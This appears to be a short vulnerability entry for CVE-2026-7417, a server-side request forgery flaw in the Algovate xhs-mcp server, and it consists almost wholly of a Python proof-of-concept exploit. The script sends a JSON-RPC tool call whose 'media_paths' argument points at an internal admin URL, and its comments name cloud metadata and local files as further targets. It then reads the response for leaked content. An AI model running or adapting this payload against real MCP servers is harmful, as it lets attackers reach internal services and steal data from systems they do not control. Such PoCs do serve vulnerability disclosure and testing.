CVE-2026-7417 Algovate xhs-mcp SSRF漏洞

import json import requests # PoC for CVE-2026-7417: SSRF in Algovate xhs-mcp # Target: The vulnerable MCP server endpoint target_url = "http://localhost:3000" # Replace with actual target # Craft a malicious JSON-RPC request targeting the vulnerable function payload = { "jsonrpc": "2.0", "method": "tools/call", # Standard MCP method to call a tool "params": { "name": "xhs_publish_content", "arguments": { # The vulnerable parameter 'media_paths' is manipulated # to point to an internal resource (e.g., AWS metadata or local file) "media_paths": "http://127.0.0.1:8080/admin", "caption": "test" } }, "id": 1 } try: response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Check response for indicators of success (e.g., error messages containing internal IP content or latency differences) except Exception as e: print(f"Error: {e}")